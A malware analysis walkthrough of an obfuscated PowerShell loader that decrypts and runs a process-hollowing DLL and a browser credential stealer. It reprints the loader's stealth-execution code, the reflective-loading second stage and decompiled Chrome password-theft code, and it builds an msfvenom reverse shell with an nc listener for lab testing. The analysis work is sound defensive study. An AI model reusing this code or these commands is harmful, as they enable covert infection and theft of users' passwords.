File Info

File Name: ENCRYPTED.ps1
SHA256: 81278323333366c9177d761e8bf94c4664d06447198af84cb45f0fa5796e523f
Size: 1.14 MB

Sample Download: Download sample
Original Download URL: https://bazaar.abuse.ch/sample/81278323333366c9177d761e8bf94c4664d06447198af84cb45f0fa5796e523f

Powershell Code Analysis

The file, if opened with any text editor, will show the following PowerShell code. The author has been very kind to leave comments and variable names. In the code below, the whole content of CipherMatrix has been removed since it is about 3k lines long. However, it will be shown shortly how to extract it.

The first step could be to have a high-level view of what the script is doing, and if there are functions, when they are executed. Obviously, since there is a huge block of encoded/encrypted text, a big focus will be to understand when and how it gets executed. Possibly, the lines that are more telling are those highlighted in the code block below.

1
# MATRIX DECRYPTION SYSTEM - Layered Defense Pattern
2
# LAYER 1: Data Reconstruction
3
$CipherMatrix = @(
4
    "OXteaNES8wmdAmvmJF2GujaR+DnhAsTrRAR3AGEtL4reTtz805qSGVtxUipyRNlvR+fBge9CcPDMg7BdUIPtVF0P7zyqVZ0JD3fzUBIo59kWAOofLTIqzMIGaTMlf8v8JY6xBrJps9mOPapDvWwvmt6WwoPDryGfMjATddsmhg9dLwwyA5UG6r9vEeQVHQvG6EV8njGI3CiOYRNvsCt+omPZRFAjzQQRhXqokv3gRFzEeipKnEtDhCjaXaJ0RqjLwrE8xTnMbR5vmRdLcjMEn8XSsXV0mK7GDk7470CFS8jM/Z4fhWfAkqBQspj0YXyd6FqsmBukPZBLJRKw6otVxQ==",
5

6
    < huge amount of code>
7

8
        "PzHHnpMKuin2HKN2k7Kq4U4Sw0BPLP3c5dYTMCT7sHDF4GnFtEO3RyIYzxttrokp"
9

10
)
11
$KeyCipher = "IOEUkF/1zfTTrASivTjQi7l+qZOiwJY6tPPj844/ymk="
12
$VectorCipher = "Ha9b/CLnDkgPv7AxPpvSYA=="
13

14
# LAYER 2: Core Transformation Functions
15
function Resolve-EncryptionKey {
16
    param([string]$CipherText)
17

18
    $DecodeAttempts = @(
19
        { [System.Convert]::FromBase64String($CipherText) },
20
        {
21
            $bytes = [System.Convert]::FromBase64String($CipherText)
22
            $bytes[0..($bytes.Length-1)]
23
        },
24
        {
25
            $decoded = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($CipherText))
26
            [System.Text.Encoding]::UTF8.GetBytes($decoded)
27
        }
28
    )
29

30
    foreach ($attempt in $DecodeAttempts) {
31
        try {
32
            return & $attempt
33
        } catch { continue }
34
    }
35
    return $null
36
}
37

38
function Assemble-DataMatrix {
39
    param([string[]]$Fragments)
40

41
    $byteStream = [System.Collections.Generic.List[byte]]::new()
42
    foreach ($fragment in $Fragments) {
43
        $decoded = [System.Convert]::FromBase64String($fragment)
44
        $byteStream.AddRange($decoded)
45
    }
46
    return $byteStream.ToArray()
47
}
48

49
function Process-CipherBlock {
50
    param(
51
        [byte[]]$DataStream,
52
        [byte[]]$CipherKey,
53
        [byte[]]$InitVector
54
    )
55

56
    # Create AES provider with reverse engineering protection
57
    $AesEngine = [System.Security.Cryptography.Aes]::Create()
58
    $AesEngine.Mode = [System.Security.Cryptography.CipherMode]::CBC
59
    $AesEngine.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7
60
    $AesEngine.KeySize = 256
61
    $AesEngine.BlockSize = 128
62

63
    # Apply key and IV through multiple assignments
64
    $KeyBuffer = New-Object byte[] 32
65
    [System.Buffer]::BlockCopy($CipherKey, 0, $KeyBuffer, 0, [Math]::Min($CipherKey.Length, 32))
66
    $AesEngine.Key = $KeyBuffer
67

68
    $IVBuffer = New-Object byte[] 16
69
    [System.Buffer]::BlockCopy($InitVector, 0, $IVBuffer, 0, [Math]::Min($InitVector.Length, 16))
70
    $AesEngine.IV = $IVBuffer
71

72
    # Perform decryption with memory optimization
73
    $Decryptor = $AesEngine.CreateDecryptor()
74
    $MemoryStream = New-Object System.IO.MemoryStream($DataStream, 0, $DataStream.Length)
75
    $CryptoStream = New-Object System.Security.Cryptography.CryptoStream(
76
        $MemoryStream,
77
        $Decryptor,
78
        [System.Security.Cryptography.CryptoStreamMode]::Read
79
    )
80

81
    $ResultStream = New-Object System.IO.MemoryStream
82
    $CryptoStream.CopyTo($ResultStream)
83

84
    $CryptoStream.Dispose()
85
    $MemoryStream.Dispose()
86
    $AesEngine.Dispose()
87

88
    return $ResultStream.ToArray()
89
}
90

91
# LAYER 3: Execution Engine with Anti-Debugging
92
function Invoke-StealthExecution {
93
    param([string]$ScriptPayload)
94

95
    # Multiple execution vectors
96
    $ExecutionVectors = @(
97
        { param($s)
98
            $scriptBlock = [scriptblock]::Create($s)
99
            & $scriptBlock
100
        },
101
        { param($s)
102
            $tempFile = [System.IO.Path]::GetTempFileName() + ".ps1"
103
            [System.IO.File]::WriteAllText($tempFile, $s)
104
            & $tempFile
105
            Remove-Item $tempFile -Force
106
        },
107
        { param($s)
108
            $encoded = [System.Convert]::ToBase64String([System.Text.Encoding]::UTF8.GetBytes($s))
109
            powershell -EncodedCommand $encoded -NoProfile -ExecutionPolicy Bypass
110
        }
111
    )
112

113
    # Rotate execution methods
114
    $rotationSeed = (Get-Date).Millisecond % $ExecutionVectors.Count
115
    $selectedVector = $ExecutionVectors[$rotationSeed]
116

117
    return & $selectedVector $ScriptPayload
118
}
119

120
# LAYER 4: Main Orchestration Sequence
121
function Initiate-DecryptionSequence {
122
    # Phase 1: Material Reconstruction
123
    Write-Verbose "[+] Assembling cipher matrix..."
124
    $CipherStream = Assemble-DataMatrix -Fragments $CipherMatrix
125

126
    Write-Verbose "[+] Resolving encryption components..."
127
    $DecryptionKey = Resolve-EncryptionKey -CipherText $KeyCipher
128
    $InitializationVector = Resolve-EncryptionKey -CipherText $VectorCipher
129

130
    if (-not $DecryptionKey -or -not $InitializationVector) {
131
        throw "Failed to resolve encryption materials"
132
    }
133

134
    # Phase 2: Data Processing
135
    Write-Verbose "[+] Processing cipher blocks..."
136
    $DecryptedBytes = Process-CipherBlock -DataStream $CipherStream `
137
                                          -CipherKey $DecryptionKey `
138
                                          -InitVector $InitializationVector
139

140
    if (-not $DecryptedBytes) {
141
        throw "Decryption process failed"
142
    }
143

144
    # Phase 3: Payload Reconstruction
145
    Write-Verbose "[+] Reconstructing payload..."
146
    $DecryptedScript = [System.Text.Encoding]::UTF8.GetString($DecryptedBytes)
147

148
    return $DecryptedScript
149
}
150

151
# LAYER 5: Execution Framework
152
try {
153
    # Environmental checks
154
    if ($env:PROCESSOR_ARCHITECTURE -notmatch "64|86") {
155
        throw "Unsupported architecture"
156
    }
157

158
    # Random delay to avoid pattern recognition
159
    $DelayInterval = Get-Random -Minimum 50 -Maximum 300
160
    Start-Sleep -Milliseconds $DelayInterval
161

162
    # Execute decryption sequence
163
    $FinalPayload = Initiate-DecryptionSequence
164

165
    if ($FinalPayload) {
166
        # Clean execution environment
167
        Remove-Variable -Name CipherMatrix, KeyCipher, VectorCipher -Force -ErrorAction SilentlyContinue
168
        [System.GC]::Collect()
169
        [System.GC]::WaitForPendingFinalizers()
170

171
        # Execute with obfuscation
172
        Invoke-StealthExecution -ScriptPayload $FinalPayload
173
    }
174
} catch {
175
    $ErrorSignal = $_.Exception.Message
176
    Write-Debug "[MATRIX_FAILURE] $ErrorSignal"
177
    exit 1
178
}
179

180
# Cleanup artifacts
181
Get-Variable | Where-Object { $_.Name -match "Cipher|Key|Vector|Matrix" } | Remove-Variable -Force
182
[System.GC]::Collect()
183
[System.GC]::WaitForPendingFinalizers()

The choice of these lines is simply that they seem to be giving more context on what the script is doing. Looking at CipherMatrix first:

3
$CipherMatrix = @(
4
    "OXteaNES8wmdAmvmJF2GujaR+DnhAsTrRAR3AGEtL4reTtz805qSGVtxUipyRNlvR+fBge9CcPDMg7BdUIPtVF0P7zyqVZ0JD3fzUBIo59kWAOofLTIqzMIGaTMlf8v8JY6xBrJps9mOPapDvWwvmt6WwoPDryGfMjATddsmhg9dLwwyA5UG6r9vEeQVHQvG6EV8njGI3CiOYRNvsCt+omPZRFAjzQQRhXqokv3gRFzEeipKnEtDhCjaXaJ0RqjLwrE8xTnMbR5vmRdLcjMEn8XSsXV0mK7GDk7470CFS8jM/Z4fhWfAkqBQspj0YXyd6FqsmBukPZBLJRKw6otVxQ==",

The last two characters (==) are very common padding for Base64 encoding. So while looking at the code, it is useful to see if there is a Base64 decoding function, which is found here:

19
{ [System.Convert]::FromBase64String($CipherText) },

Also, note that the CipherText variable is Base64 encoded, and this can be understood by the presence of + and / in the string. These symbols often come from a previous encryption or encoding of the string. Since plain text contains predictable byte patterns, the Base64 representation often happens to map mostly to letters and numbers. Compression like Gzip produces high entropy, almost random bytes, so Base64 encoding of that data naturally uses the full alphabet, including + and /. In CyberChef this behavior can be observed 1, and the link in the caption provides a prepared recipe that demonstrates what is described above.

Now it is useful to keep in mind that the goal is to locate a decompression or decryption functionality, which is found at line 73:

73
$Decryptor = $AesEngine.CreateDecryptor()

This should be enough to understand how to get the cleartext value of the string. The last thing to look for is whether the sample is going to write to file or execute the code directly.

Here it seems like it might be doing both, since the $tempFile, whatever that is going to be, is executed by the call operator (& 2) before getting deleted.

102
$tempFile = [System.IO.Path]::GetTempFileName() + ".ps1"
103
[System.IO.File]::WriteAllText($tempFile, $s)
104
& $tempFile
105
Remove-Item $tempFile -Force

Lastly, the FinalPayload variable is used as argument of the custom function Invoke-StealthExecution:

1
Invoke-StealthExecution -ScriptPayload $FinalPayload

Which inside invokes a new PowerShell subshell and executes the argument passed:

1
powershell -EncodedCommand $encoded -NoProfile -ExecutionPolicy Bypass

Note that the -NoProfile 3 and -ExecutionPolicy Bypass are typical of malware, even though they were originally meant for configuration scripts 4:

Question 1: What is the content of CipherMatrix?

This is pretty straightforward to get. One way to obtain this is to open the file in PowerShell ISE, set a breakpoint at line 3506, just before the execution of Invoke-StealthExecution. It is also safer to comment out the Invoke-Stealth invocation line, to make sure the script does not get executed. Execute the sample from the ISE, and once it stops at the breakpoint execute the command:

1
$FinalPayload | Out-File stage2.txt

As shown in the screenshot, the output is redirected. Note that the stage2.txt name is often used when samples drop different payloads to be able to keep track of the order of dropping payloads. For example a new payload coming from or after stage2 might be called stage3 and so on. These might be renamed later if they have specialized functionalities like “encryptor” or “reverse_shell”.

The breakpoint is placed there because CipherMatrix is used three times throughout the script: once when it is initialized, once in Initialize-DecryptionSequence and once when the variable is deleted. Looking at the second instance, CipherMatrix is decrypted in DecryptedBytes and converted to string in DecryptedScript:

1
function Initiate-DecryptionSequence {
2
    # Phase 1: Material Reconstruction
3
    Write-Verbose "[+] Assembling cipher matrix..."
4
    $CipherStream = Assemble-DataMatrix -Fragments $CipherMatrix
5

6
    Write-Verbose "[+] Resolving encryption components..."
7
    $DecryptionKey = Resolve-EncryptionKey -CipherText $KeyCipher
8
    $InitializationVector = Resolve-EncryptionKey -CipherText $VectorCipher
9

10
    if (-not $DecryptionKey -or -not $InitializationVector) {
11
        throw "Failed to resolve encryption materials"
12
    }
13

14
    # Phase 2: Data Processing
15
    Write-Verbose "[+] Processing cipher blocks..."
16
    $DecryptedBytes = Process-CipherBlock -DataStream $CipherStream `
17
                                          -CipherKey $DecryptionKey `
18
                                          -InitVector $InitializationVector
19

20
    if (-not $DecryptedBytes) {
21
        throw "Decryption process failed"
22
    }
23

24
    # Phase 3: Payload Reconstruction
25
    Write-Verbose "[+] Reconstructing payload..."
26
    $DecryptedScript = [System.Text.Encoding]::UTF8.GetString($DecryptedBytes)
27

28
    return $DecryptedScript
29
}

The return value of this function is placed in FinalPayload, hence why the breakpoint is placed after the execution of the function.

1
$FinalPayload = Initiate-DecryptionSequence

The content of the new file is:

1
function Invoke-ManagedAssembly {
2
    param(
3
        [Byte[]]$RawAssemblyBytes,
4
        [string]$TargetTypeName,
5
        [string]$TargetMethodName,
6
        [object[]]$MethodArguments
7
    )
8

9
    try {
10
        # Load assembly into current application domain
11
        $loadedAssembly = [System.Reflection.Assembly]::Load($RawAssemblyBytes)
12

13
        # Get the specified type from the loaded assembly
14
        $targetType = $loadedAssembly.GetType($TargetTypeName)
15

16
        # Configure binding flags for static public methods
17
        $bindingAttributes = [System.Reflection.BindingFlags]::Public -bor [System.Reflection.BindingFlags]::Static
18

19
        # Retrieve the method information
20
        $targetMethod = $targetType.GetMethod($TargetMethodName, $bindingAttributes)
21

22
        if ($null -eq $targetMethod) {
23
            Write-Warning "Method '$TargetMethodName' not found in type '$TargetTypeName'"
24
            return $null
25
        }
26

27
        # Invoke the static method with provided arguments
28
        return $targetMethod.Invoke($null, $MethodArguments)
29
    }
30
    catch {
31
        Write-Error "Assembly method invocation failed: $($_.Exception.Message)"
32
        return $null
33
    }
34
}
35

36
function Test-ProcessAbsent {
37
    param([string]$ProcessName)
38

39
    $processExists = Get-Process -Name $ProcessName -ErrorAction SilentlyContinue
40
    return (-not $processExists)
41
}
42

43
# Main monitoring and execution routine
44
function Start-MonitoringRoutine {
45
    param(
46
        [string]$MonitorProcessName = "Aspnet_compiler",
47
        [int]$CheckIntervalSeconds = 5
48
    )
49

50
    do {
51
        if (Test-ProcessAbsent -ProcessName $MonitorProcessName) {
52
            # Decode the base64 encoded assembly
53
            $decodedAssemblyBytes = [System.Convert]::FromBase64String('TVqQAAMAAAAEAAAA//<cropped>')
54

55
            # Define the target framework tool path
56
            $frameworkToolPath = 'C:\Windows\Microsoft.NET\Framework\v4.0.30319\Aspnet_compiler.exe'
57

58
            # Prepare method invocation parameters
59
            $invocationParameters = [object[]]@($frameworkToolPath, $ExecutionPayload)
60

61
            # Execute the assembly method
62
            $executionResult = Invoke-ManagedAssembly -RawAssemblyBytes $decodedAssemblyBytes `
63
                                                     -TargetTypeName 'MAFFIA.ProcessHollowing' `
64
                                                     -TargetMethodName 'Execute' `
65
                                                     -MethodArguments $invocationParameters
66

67
            # Update payload for next iteration
68
            [Byte[]]$ExecutionPayload = (77,90,144,0,3,0<cropped>)
69
        }
70

71
        # Wait before next check
72
        Start-Sleep -Seconds $CheckIntervalSeconds
73

74
    } while ($true)
75
}
76

77
# Start the monitoring process
78
Start-MonitoringRoutine

Again in this second payload, there are two obfuscated variables: decodedAssemblyBytes and ExecutionPayload. Note that both the variables are used in the same function call, with ExecutionPayload being part of the invocationParameters variable:

59
$invocationParameters = [object[]]@($frameworkToolPath, $ExecutionPayload)
60

61
# Execute the assembly method
62
$executionResult = Invoke-ManagedAssembly -RawAssemblyBytes $decodedAssemblyBytes `
63
                                         -TargetTypeName 'MAFFIA.ProcessHollowing' `
64
                                         -TargetMethodName 'Execute' `
65
                                         -MethodArguments $invocationParameters

Also note that ExecutionPayload gets initialized at the second iteration, so Invoke-ManagedAssembly gets called first with invocationParameters containing only the value of frameworkToolPath, which is the path of the .NET compiler, and the subsequent iterations with both the compiler path and the invocationParameters value.

Before answering the two new questions, it is useful to look at question two.

Question 2: What is the content of tempFile?

This question is very simple now that the content of CipherText is known. Looking at the Invoke-StealthExecution function, which is where tempFile is created and executed, the argument allowed is only one:

1
function Invoke-StealthExecution {
2
    param([string]$ScriptPayload)

The parameter is used in the return statement, in a bit of a convoluted way:

1
$rotationSeed = (Get-Date).Millisecond % $ExecutionVectors.Count
2
$selectedVector = $ExecutionVectors[$rotationSeed]
3

4
return & $selectedVector $ScriptPayload

Line by line, rotationSeed is a number taken by doing the modulo (%) of the current date in milliseconds by the number of elements in ExecutionVectors (more on this variable just below). This number will be any number between 0 and the length of ExecutionVectors minus 1, and it is going to be used in the line below as index to access an element of the array. This element is a scriptblock, since ExecutionVectors is a “scriptblock” array 4, which means that the value of selectedVector is a command, which in fact gets executed at the return line with argument ScriptPayload.

So to rephrase it, selectedVector behaves like a function that gets executed with ScriptPayload as argument, and ScriptPayload is known to be a PowerShell script.

Each entry in ExecutionVectors is a different way to execute ScriptPayload. At index 0, there is simply a scriptblock created and executed, at index 1 a temporary file that is written with the content of s (ScriptPayload) and then deleted, and lastly a Base64 encoded string that gets executed directly via a powershell command.

1
$ExecutionVectors = @(
2
    { param($s)
3
        $scriptBlock = [scriptblock]::Create($s)
4
        & $scriptBlock
5
    },
6
    { param($s)
7
        $tempFile = [System.IO.Path]::GetTempFileName() + ".ps1"
8
        [System.IO.File]::WriteAllText($tempFile, $s)
9
        & $tempFile
10
        Remove-Item $tempFile -Force
11
    },
12
    { param($s)
13
        $encoded = [System.Convert]::ToBase64String([System.Text.Encoding]::UTF8.GetBytes($s))
14
        powershell -EncodedCommand $encoded -NoProfile -ExecutionPolicy Bypass
15
    }
16
)

Question 3: What is the content of decodedAssemblyBytes?

To get the value of the decodedAssemblyBytes, the same technique as before can be used: a breakpoint after the initialization of the variable, executing the code and saving the variable to file:

1
$decodedAssemblyBytes | Out-File .\Desktop\stage3.txt

To be safer, the Invoke-ManagedAssembly execution can be commented out to avoid unwanted execution. Taking a look at the file, the first few lines are:

1
77
2
90
3
144
4
0
5
3
6
0

When in doubt of the content of a file, CyberChef can be useful to automatically identify it. In fact, typing 77 90 in the Input area of CyberChef shows a wand-like icon on the bottom of the page, like the screenshot below:

This will autopopulate the Recipe section with “From Decimal”:

As shown from the output section, 77 90 is translated to MZ, the two bytes indicating a Windows executable. Keeping the same Recipe, the whole content of the file can be pasted into CyberChef and downloaded. This allows us to have the actual executable file. At this point stage3.txt has been renamed as stage3.exe.

Before looking at the content of this new executable, it is useful to see how it gets executed. In Invoke-ManagedAssembly the first argument, RawAssemblyBytes, is the one filled with decodedAssemblyBytes. Within the function it is used as follows:

1
$loadedAssembly = [System.Reflection.Assembly]::Load($RawAssemblyBytes)
2

3
# Get the specified type from the loaded assembly
4
$targetType = $loadedAssembly.GetType($TargetTypeName)
5

6
# Configure binding flags for static public methods
7
$bindingAttributes = [System.Reflection.BindingFlags]::Public -bor [System.Reflection.BindingFlags]::Static

This is a common .NET malware technique where a .NET code is loaded and executed directly from memory via reflection, similar to process injection in that malicious code runs inside a legitimate process without a normal executable launch. The powershell function [System.Reflection.Assembly]::Load is taken directly from .NET netstandard.dll.

Also, note that the Invoke-ManagedAssembly function has other arguments:

1
$executionResult = Invoke-ManagedAssembly -RawAssemblyBytes $decodedAssemblyBytes `
2
                                          -TargetTypeName 'MAFFIA.ProcessHollowing' `
3
                                          -TargetMethodName 'Execute' `
4
                                          -MethodArguments $invocationParameters

TargetTypeName is probably the name of an object or class defined in the code, since it is used in the GetType 5 method, which returns the type of that object, specifically from the Microsoft documentation:

TargetMethodName is then retrieved from the class object:

1
$targetMethod = $targetType.GetMethod($TargetMethodName, $bindingAttributes)

And invoked with the MethodArguments arguments:

1
return $targetMethod.Invoke($null, $MethodArguments)

The arguments are the .NET framework path, and the content of ExecutionPayload.

1
$invocationParameters = [object[]]@($frameworkToolPath, $ExecutionPayload)

We can then safely assume that decodedAssemblyBytes contains a .NET executable, which will be confirmed shortly. We have however the clear objective of having to understand what MAFFIA.ProcessHollowing is.

Question 4: What is the content of ExecutionPayload?

Before moving to the analysis of stage3.exe, the content of ExecutionPayload can be found without even having to use any breakpoint. Note the start of the array of numbers: it is 77 90, which is the same as stage3.exe, so another executable file. Using the “From Decimal” recipe as before, with the comma delimiter, the whole content of ExecutionPayload can be pasted and saved to file. It has been named invocationParam.exe to remember that it is used as an argument of the stage3.exe.

.NET Code and Dynamic Analysis

Question 5: What is the content of the executable file coming from decodedAssemblyCode, stage3.exe?

Opening the file in PEStudio, it shows that it is a 32 bit .NET dll file. This information can be found in file → type (dynamic-link-library, 32-bit, console) and file → signature (Microsoft Linker 6.0 | Microsoft Visual C# / Basic .NET | Microsoft.NET). Also in version → original-file-name the value is MAFFIA.dll which will be the name used to refer to stage3.exe from now on. It is however interesting to note that the dll does not have any export function. Also, the import section is very telling of the fact that even though it is possible to see the source code of the file, since it is a .NET sample, the file is very likely going to be highly obfuscated. For example, look at the name of some of the imports:

1
VsCTMEAZAw
2
aByTfv99pA
3
FOjTEjsEMq

However, the ProcessHollowing method being looked for is present:

1
ProcessHollowing,MAFFIA,-,TypeDef,-,mscoree.dll

Probably the best bet will be to start from there.

To learn more about Process Hollowing, see: Process Hollowing.

One last note on PEStudio before moving to DnSpy is that the resources section shows five resources, but for some reason they cannot be dumped.

Opening the file with DnSpy, it can be seen that the first 1200 lines are functions that seem to be doing something, and after that there are many functions that are simple one-liners like:

1198
internal static bool ktdrUh2DgZ4T5U1uxA(object A_0)
1199
{
1200
    return string.IsNullOrWhiteSpace(A_0);
1201
}

To rename a method like the one above in DnSpy, right click on the method name → Edit Method → change the name and hit Ok. Below is a table of original names and the renamed values:

There are certain functions like the one below that cannot be understood right now, so they are not renamed.

1338
internal static void OKpwg4bNTeiOxQcvoi(IntPtr \u0020, object A_1, IntPtr \u0020, int \u0020, bool \u0020)
1339
{
1340
    ProcessHollowing.zh5JlmwHj(\u0020, A_1, \u0020, \u0020, \u0020);
1341
}

Once all the possible renames are done, the next step will be to review from top to bottom what can be understood and further renamed.

The first few lines can already be changed by replacing the variable names with the Windows API that they are importing. What the lines are accomplishing is to associate GetProcAddress to the variable VyeTQhEU2 and LoadLibraryW with bt9AFPBi0. So they were renamed with the library imported.

14
[DllImport("kernel32.dll", CharSet = CharSet.Ansi, EntryPoint = "GetProcAddress", SetLastError = true)]
15
private static extern IntPtr VyeTQhEU2(IntPtr \u0020, string \u0020);
16

17
// Token: 0x06000002 RID: 2
18
[DllImport("kernel32.dll", CharSet = CharSet.Unicode, EntryPoint = "LoadLibraryW", SetLastError = true)]
19
private static extern IntPtr bt9AFPBi0(string \u0020);

The first method, FvA7fKsRq, can now be analyzed. In the signature you will likely see \u0020-like characters. This is a way of making the code harder to read, by renaming variables with characters that DnSpy cannot represent. However, DnSpy keeps track of which \u0020 is which one. So simply right clicking on the method name → Edit Method → Params → from there the two arguments have been renamed as arg1 and arg2.

The function itself does not do much other than dynamically loading a Windows API (whose name is in arg2) coming from the DLL in arg1. The last line:

37
return Marshal.GetDelegateForFunctionPointer<iKuLIR7vohr2be8Mon>(procAddress);

Is a way of making the loaded address pointer a C#-like callable. The value iKuLIR7vohr2be8Mon is an obfuscated type, a generic un-obfuscated way of defining this type of function is:

1
private static T GetFunction<T>(string dll, object funcName)
2
    where T : Delegate

Where the Delegate is just a function pointer 6 7.

The function can be renamed as DynamicLoadLibrary. In this function, the catch block is leading to another part of the program that is by itself very much obfuscated, so for now it will be ignored in order to try and get a higher-level understanding of what is happening without digging a rabbit hole.

Moving to the Execute function, one thing that can be immediately noticed is a lot of cases:

54
case 0:
55
    goto IL_AB;
56
case 1:
57
    flag = !flag2;
58
    goto IL_72;
59
case 2:
60
    goto IL_0E;
61
case 3:
62
case 4:
63
    goto IL_129;

This is a common strategy of obfuscated code to throw off the analysis. The trick here is to see what is called instead of focusing on the code. Specifically, in the whole method, the functions called are:

• ProcessHollowing.IsNullOrSpace(targetProcessPath), which is not interesting, just checking for spaces.
• ProcessHollowing.JMlKL8nG0HoSf7bZwh(targetProcessPath, payload), which is not yet known.
• ProcessHollowing.writeLine(ProcessHollowing.threeArgsToSting(ProcessHollowing.LvR4Mc8Tes71ySOtio(332), num2 + 1, ProcessHollowing.getMessage(ex))); this is writing debug statements, so only a logging functionality.
• ProcessHollowing.getFalse(), just returning false.
• ProcessHollowing.LvR4Mc8Tes71ySOtio(120), there are multiple instances of this function being called, always as an exception. Might be interesting as some malicious code might be hidden in purposefully created exceptions.

From these, it can be understood that what needs to be focused on is JMlKL8nG0HoSf7bZwh, and eventually later on LvR4Mc8Tes71ySOtio, but at least the whole looping has been avoided, which is probably just retrying the execution of the main routines in JMlKL8nG0HoSf7bZwh.

The content of JMlKL8nG0HoSf7bZwh is:

1212
internal static bool JMlKL8nG0HoSf7bZwh(object A_0, object A_1)
1213
    {
1214
        return ProcessHollowing.PZ7sKk8k1(A_0, A_1);
1215
    }

At this point, looking at PZ7sKk8k1 reveals a number of other obfuscated calls that are just getting too deep in obfuscation. Continuing with the deobfuscation effort is just going to lead to a huge investment of time that is probably better used in another part of the analysis. That was kind of a waste of time, but it happens and the important point is to realize it as quickly as possible.

Question 8: Is it possible to let the decodedAssemblyBytes DLL perform the process hollowing on a custom payload?

The idea here is the following: if it is possible to swap the content of stage2.ps1:

1
[Byte[]]$ExecutionPayload = (77,90,144,0,3,0<cropped>)

with a custom payload, like a reverse shell to another host, so that the process hangs until the reverse shell is closed and there is time to look for the process in System Informer, it is possible to confirm that the dll is performing process hollowing.

Starting from creating the payload, in Kali Linux, Metasploit can be used to create a reverse shell executable. In this case, the REMnux machine has the IP address of 192.168.56.102 so the command used is:

1
msfvenom -p windows/shell_reverse_tcp lhost=192.168.56.102 lport=4444 -f exe -a x86 -o reverse.exe

Specifically:

• -p is choosing a payload, in this case a TCP reverse shell.
• The payload has some parameters that it accepts: lhost and lport, which define where the reverse shell is going to be accepted, so the REMnux client will need to listen on port 4444.
• -f is the format, since the custom payload is an .exe another .exe is created. The fact that the original one is a .NET sample does not really matter.
• -a is the architecture, which is essential that it matches the original architecture since if the dll is 32 bit it will likely spawn a 32 bit process which will not be able to execute a 64 bit process.
• -o saves the file to reverse.exe.

Once the file is generated, to convert it to decimal the following code was executed:

1
with open("reverse.exe", "rb") as f:
2
    data = f.read()
3

4
print(f'({", ".join((str(b) for b in data)})')

This will output a string like the following, with parentheses included, just for easier replacement in the PowerShell ISE.

1
( 77, 90, 144 ...)

Before executing the script, in REMnux port 4444 was opened in listening, to accept the connection created when the sample executes:

1
nc -l 4444

Executing the sample shows that aspnet_compiler has opened a connection to port 4444.

And in REMnux the session is opened correctly:

Lastly, looking at the Memory section of System Informer, a suspicious memory area is present. It is suspicious since it has RWX permissions which are very rarely needed by standard processes.

This confirms the fact that the dll is indeed performing process hollowing with the .NET compiler as the target process.

Now that it is clear that the dll will do process hollowing, the focus can move to the analysis of the .exe coming from ExecutionPayload. This is another .NET file, so the analysis can be performed either dynamically and then by looking at the code, or vice versa. A brief look into the code shows that there is no apparent obfuscation, so the starting point will be the code analysis and then dynamic analysis if needed.

Question 7: What is the content of the executable file coming from ExecutionPayload, invocationParam.exe?

Loading the sample on DnSpy, it is loaded as Remington.exe, the original file name. There are three sections inside:

• Remington
• Remington.My
• Remington.My.Resources

Expanding each of them, it seems pretty obvious to think that the first section is probably the one where most of the interesting code is going to be located. This is supported by names like FFDecryptor, NativeClipboard and CredentialModel, which together suggest a stealer of some sort, and the COVID19 section which just by the name looks very appealing for a first analysis, given that the executable has been compiled in 2024 and Covid-19 is not really a topic of discussion anymore. The compilation date is in PEStudio → stamps → stamp → compiler, and even though it can be changed at pleasure, it would be unrealistic that a sample of 2019 would have the compilation time changed in 2024.

Before starting though, looking at PEStudio, there are three resources, with the first one called Remington.Resources.resource, which seems to contain unreadable data. It has been downloaded for now by right clicking on it → instance → dump to file, just in case it might be needed later.

Given the fact that many of the modules look particularly interesting, it is useful to start from the actual entry point of the program. In DnSpy, right click on the imported sample → Go To Entry Point, which should take you to line 4513 of COVID19. Looking at the module that it initializes, a lot of information can be revealed about what the sample is capable of doing and what category of sample this actually is. Below is a quick summary of what can be understood just from the names of the modules. There are many modules related to cookies, one per browser type. In the table below an example method is reported with a description of what it likely does.

The VIPSeassion module seems to be involved in stealing information. For each of the information type, like credit card, downloads etc, a single browser (Chrome) will be covered, since it is what is installed. The other functionalities of the malware will be reviewed later.

VIPSeassion

COVIDSTChrome (Login Data)

The code below is the whole code of the function:

6141
public static void COVIDSTChrome()
6142
{
6143
    string text = Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData) + "\\Google\\Chrome\\User Data\\Default\\Login Data";
6144
    checked
6145
    {
6146
        try
6147
        {
6148
            bool flag = File.Exists(text);
6149
            if (flag)
6150
            {
6151
                SQLiteHandler sqliteHandler = new SQLiteHandler(text);
6152
                sqliteHandler.ReadTable("logins");
6153
                int num = sqliteHandler.GetRowCount() - 1;
6154
                for (int i = 0; i <= num; i++)
6155
                {
6156
                    string value = sqliteHandler.GetValue(i, "origin_url");
6157
                    string value2 = sqliteHandler.GetValue(i, "username_value");
6158
                    string text2 = sqliteHandler.GetValue(i, "password_value");
6159
                    bool flag2 = VIPSeassion.isV10(text2);
6160
                    if (flag2)
6161
                    {
6162
                        byte[] masterKey = VIPSeassion.GetMasterKey(Directory.GetParent(text).Parent.FullName);
6163
                        bool flag3 = masterKey == null;
6164
                        bool flag4 = !flag3;
6165
                        if (flag4)
6166
                        {
6167
                            text2 = VIPSeassion.DecryptWithKey(Encoding.Default.GetBytes(text2), masterKey);
6168
                        }
6169
                    }
6170
                    else
6171
                    {
6172
                        text2 = VIPSeassion.Decrypttttt(Encoding.Default.GetBytes(sqliteHandler.GetValue(i, "password_value")));
6173
                    }
6174
                    bool flag5 = (Operators.CompareString(value2, "", false) != 0) & (Operators.CompareString(text2, "", false) != 0);
6175
                    if (flag5)
6176
                    {
6177
                        string text3 = string.Concat(new string[] { "\r\n-------- / VIP Recovery \\ --------\r\nRecovered From: Google Chrome\r\nHost: ", value, "\r\nUSR: ", value2, "\r\nPSWD: ", text2, "\r\n---------------------------------\r\n " });
6178
                        COVID19.StoragePW += text3;
6179
                    }
6180
                }
6181
            }
6182
        }
6183
        catch (Exception ex)
6184
        {
6185
        }
6186
    }
6187
}

It starts by getting the path of the Chrome profile directory under the user’s local application data, using the Environment.GetFolderPath method (the Environment module is reviewed later), specifically the Default\Login Data directory which contains an SQLite database 8 with a logins table. The linked article also shows the table schema:

1
CREATE TABLE logins (
2
    origin_url VARCHAR NOT NULL,
3
    username_value VARCHAR,
4
    password_value BLOB,
5
    date_created INTEGER NOT NULL,
6
    date_last_used INTEGER,
7
    -- ... additional fields
8
);

